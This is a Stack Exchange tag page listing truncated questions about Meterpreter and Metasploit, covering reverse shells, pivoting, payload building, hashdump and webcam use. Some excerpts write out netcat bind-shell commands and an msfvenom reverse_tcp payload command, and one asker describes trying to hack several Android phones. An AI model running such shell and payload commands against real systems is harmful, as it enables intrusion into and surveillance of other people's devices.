Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [meterpreter]

The tag has no usage guidance.

-1
votes
1answer
34 views

Meterpreter download result return blank

I am performing the exploit,unix/webapp/wp_admin_shell_upload on wordshell website. Here is the screenshot of the exploit options. I managed to run the exploit. However when I want to download ...
0
votes
0answers
16 views

Using stack-based memory_dump, the value of esp in query_regs is always 0

I was trying to use https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/memory_grep.rb using the stack-based method. However it wasn't working. What I do is ...
1
vote
1answer
44 views

How to launch a Metasploit module with arguments in just one command

I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
1
vote
1answer
103 views

Get the privileges of root with the user with I do an exploit with Shellshock [closed]

I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability: use ...
0
votes
0answers
32 views

How can I use netcat to connect back from my meterpreter session to my santoku OS android

I have install netcat in my genymotion VM machine. When I give command through adb nc -l <IP ADDRESS> -p <PORT> -e /system/bin/sh It runs. But when I try to launch this same command from ...
1
vote
2answers
168 views

meterpreter upload command does't work

I'm trying to upload nc.exe on a Windows 7 system, after having exploited it by using: exploit/windows/fileformat/ms15_100_mcl_exe. After obtaining the session: sessions –l sessions –i 1 I issued ...
0
votes
1answer
67 views

How to response to Meterpreter HTTP Request sent from client

First of all apologies for mistakes as i am at beginner level. I was exploring Meterpreter HTTP Handler. I have created a payload with meterpreter reverse HTTP and writing my own http server for ...
0
votes
1answer
62 views

How to set autorunscript of core commands?

I'm trying to automate scripts of an Android Metasploit payload. I can successfully automate any script on the /post module, however, I'm trying to automate geolocate, dump_calllog and others that are ...
0
votes
1answer
83 views

Switching to native meterpreter

I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service. I want to change to a windows meterpreter(in ...
0
votes
1answer
626 views

Meterpreter reverse shell alternative

What can you do if you are behind NAT but can't do port forwarding and don't want to pay for a virtual server with internet-facing IP? I read the answer to this question which suggests some tunneling ...
0
votes
0answers
33 views

Nessus scan over particular forwarded ports with metepreter

During a penetration lab, I have access to a Windows XP machine that allows me to forward ports locally using meterpreter. Example: portfwd add -L 127.0.0.1 -l 8022 -r 10.0.0.125 -p 7022 Can I ...
0
votes
0answers
243 views

From SQL Injection in SQLite to shell

I need to obtain a shell from an SQL injection over an application with sqlite database. Currently my exploit looks like the following: lucian@0x90:~/$ proxychains nc 10.185.10.55 1101 ProxyChains-3....
3
votes
2answers
184 views

Meterpreter shell and system shell define?

What is the difference between Meterpreter shell and system shell? For example, if I found some vulnerability in a system which allowed both shells, then what should I go for, system shell or ...
0
votes
1answer
276 views

Meterpreter file upload - segmentation fault

I'm doing some experiments on two VMs, one running Kali and the other running Ubuntu. I have a problem with the "upload" command of Meterpreter. In particular, I already open a reverse tcp session ...
0
votes
2answers
1k views

Meterpreter commands not working in shell [closed]

I used use multi/handler followed by set PAYLOAD windows/meterpreter/reverse_tcp then set LPORT 80 and set LHOST 192.168.0.11 after that I do exploit -j -z and go on my windows machine connected to ...
3
votes
1answer
244 views

Metasploit: pivoting to machine without internet access

Let's imagine the following (not uncommon) scenario: I'm doing a pentest from the outside I have a meterpreter session from a company PC that´s within their infrastructure (Let´s say w/ reverse HTTPS)...
0
votes
0answers
131 views

Auto execute msfconsole commands after reverse shell connection established

I run a .rc script which commands automates the process of establishing a reverse tcp connection. The problem is that i want to upgrade this connection to meterpreter and i want this process to be ...
0
votes
0answers
356 views

Port forwarding mysql when it's bound to localhost

I am a pentesting n00b, working my way through vulnhub VMs. I am stuck trying to figure out how to make portforwarding work with a mysql instance bound to address of 127.0.0.1. Can someone give me ...
0
votes
0answers
99 views

SSH Tunneling Issue with Plink

so I'm trying to follow this tutorial to bypass firewalls and IDS by routing traffic through an SSH pipe and receiving a Meterpreter reverse shell (reverse_tcp) from a Windows computer across the ...
0
votes
0answers
50 views

migrating meterpeter payload from stager to stageless

In my previous engagement I used a meterpreter stager as a payload; this is proven to be costly each time we get a reverse shell. As we need to feed the stager a second payload each time. Is there a ...
1
vote
3answers
2k views

Port forwarding for reverse tcp

I am using metasploit to create a payload for Android phone (for educational purposes). If my target and my computer are on the same network it works fine. But when my target is outside connected to ...
-1
votes
1answer
619 views

How can a reverse shell payload be executed? [closed]

With metasploit it is possible to open a reverse shell via meterpreter. For this you need to place a payload on the attacked server. E.g., there is an endpoint open that places files on a server, and ...
1
vote
0answers
897 views

Unable to migrate meterpreter into 64 bit process? [duplicate]

How to migrate a meterpreter process into a 64 bit process? When i run following exploit (ie_execcommand_uaf), it migrates into explorer which is 32 bit rather than to notepad.exe which is a 64 bit ...
1
vote
1answer
532 views

Run metasploit console resource scripts

Hi I want to do this in my lab environment: When meterpreter shell is gained, automatically I want to execute console commands such as route add, jobs -K or use some other exploit or auxiliary ...
2
votes
1answer
3k views

Executing a msfvenom shellcode in C program

This is obviously for educational purposes. I've been interested in learning more about malware and how it works. I'm trying to get a meterpreter reverse tcp shell working on windows 10 but more ...
6
votes
2answers
306 views

How does the Meterpreter load modules?

I've been using the Meterpreter for some time and I'm still quite new to it and one of the questions I have is how it's module loading works. Correct me if I'm wrong as I'm still learning how to use ...
0
votes
0answers
348 views

Is it possible to perform ARP/DNS poisoning throught meterpreter?

I am looking for a technique to perform ARP poisoning and DNS poisoning attacks through a meterpreter session of a victim but without success. The victim has Windows OS running and everything should ...
0
votes
2answers
881 views

MSFvenom payload with dynamic options

I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/...
-2
votes
1answer
3k views

metasploit dont work upload, download and open folder

When I am trying to upload a file, download a file or enter a folder, metasploit does not work. Path of metasploit is in meterpreter. meterpreter> upload /root/Desktop/test.exe C:\\Documents and ...
2
votes
1answer
2k views

Metasploit opens Meterpreter but shows no prompt please help

I have created a payload to a website with msfvenom, and started the exploit/multi/handler exploit, they then connect to each other and create a meterpreter session as seen below, but I do not get the ...
2
votes
1answer
745 views

Is it possible to run Meterpreter command in background

After spawning a meterpreter session from the target Windows 7 system I wanted to search for all the files with sub-string "clue" in in their name. As search -f "*clue*" took a long time to complete, ...
2
votes
1answer
523 views

Updating Metasploit Database Breaks Meterpreter Payload

This might be better posted on the R7 forum, but I feel like I might get a quicker response here as I'm waiting for access to post in their forums. On a base installation of Kali (Metasploit version ...
1
vote
0answers
330 views

Android meterpreter payload crashes app

I'm trying to inject a reverse_tcp meterpreter payload into my own app for educational purposes. Loading the raw payload apk on my phone works over LAN/WAN. I injected the payload manually by ...
2
votes
1answer
3k views

LPORT question - I seem to not understand some concepts

I am trying to build a payload for inserting as an obfuscated code into a Word document, which will create a listener on the attacked machine and will allow me to execute some commands (not through ....
1
vote
1answer
3k views

Meterpreter error: webcam_start: Operation failed: 14007

I managed to "infect" my test device, so I decided to try out some of meterpreter custom commands. This tool is awesome: I can copy, download, upload and manipulate the infected device, spy through ...
-1
votes
1answer
3k views

Windows 10 not running meterpreter payload

I have quite a complex problem on my hands. I recently had the ambition to try out new features of Metasploit (on Kali Linux 2017.1). I have two computers, so I thought this was a perfect environment ...
9
votes
1answer
1k views

Gained Privilege Escalation but no authority using Metasploit

I am facing a very weird issue. I have successfully popped a box using Shellter with Meterpreter_Reverse TCP. Here is the sysinfo : meterpreter > sysinfo Computer : ******** OS ...
1
vote
1answer
3k views

Nothing happens when payload runs [closed]

i have a problem with using meterpreter. Here's what i did i'll tell it by using pictures of what i do step by step. First i created my payload and set the LHOST to my public ip address and generate ...
3
votes
2answers
350 views

I am not getting meterpreter sessions when I am connected to an Openvpn

I have a router and the ports required for the backdoor to connect back to the listener are forwarded to my machine's internal ip. It all works fine only when I am not using VPN. But after connecting ...
1
vote
1answer
2k views

Upgrade a ncat bind shell to meterpreter [closed]

During penetration tests, I am often able to open a Ncat Bind Shell on the victim system (linux), which opens a port that I can then connect to: nc -l -v -k -e /bin/bash -p 4444 I now want to ...
1
vote
1answer
316 views

Prevent metasploit meterpreter process migration [closed]

Is there any way to prevent meterpreter process migration.?
1
vote
1answer
2k views

Can a meterpreter session be reopened? [closed]

I tried to hack multiple android phones using .apk files but everytime the session lasts 5-10 seconds: [*] 94.243.71.172 - Meterpreter session 1 closed. Reason: Died Then, to open a new session ...
0
votes
3answers
142 views

How can clicking on a URI infect a host? [duplicate]

I watched a generic information security awareness presentation earlier, in which all that was required for the presenter to penetrate an organisation (with a meterpreter/reverse shell), was for ...
6
votes
0answers
2k views

Meterpreter (Metasploit) anonymous reverse connection over Tor2web

The general consensus seems to be that one sets up a listener on a server accessible by a public IP and some port forwarding. For anonymity this should be a throw-away server or a hacked box. I've ...
2
votes
2answers
1k views

Does hashdump also dump domain creds when run on a domain controller

If I understand correctly, meterpreter's hashdump dumps the content of the SAM file. Domain users should be in the AD database on domain controllers, which I understand is NTDS.dit . On my test ...
3
votes
3answers
1k views

Can we hack with our own computer

Recently I have gained interest in Kali, especially frameworks such as Metasploit. Let's assuming that I only have one computer that does not have access to the internet. I want to learn how to use ...
2
votes
0answers
907 views

How to prevent multiple meterpreter sessions from same target?

I use a custom android/meterpreter/reverse_tcp payload from here. It connects back to the handler at specified time interval. When I use exploit as a job, I get multiple sessions from the same target ...
1
vote
0answers
182 views

Setup a meterpreter session trough a vpn

this is my first post here. I was trying to start a meterpreter session from a mac to my kali Linux machine trough a vpn but it isn't working. I downloaded openVPN config files from vpnbook.com and ...
4
votes
1answer
11k views

Auto execute meterpreter commands on session start

Is there a way to run one or multiple meterpreter commands automatically, as soon as the listener gets a connection (i.e session is established with a target)? I want to run the 'hide_app_icon' ...
0
votes
0answers
200 views

How can I open a meterpreter shell on the target which I connect use VPN?

I need to open a meterpreter shell on the target which I connect to using a VPN but that IP address different from my machine and I cannot change LHOST. So how can I do it?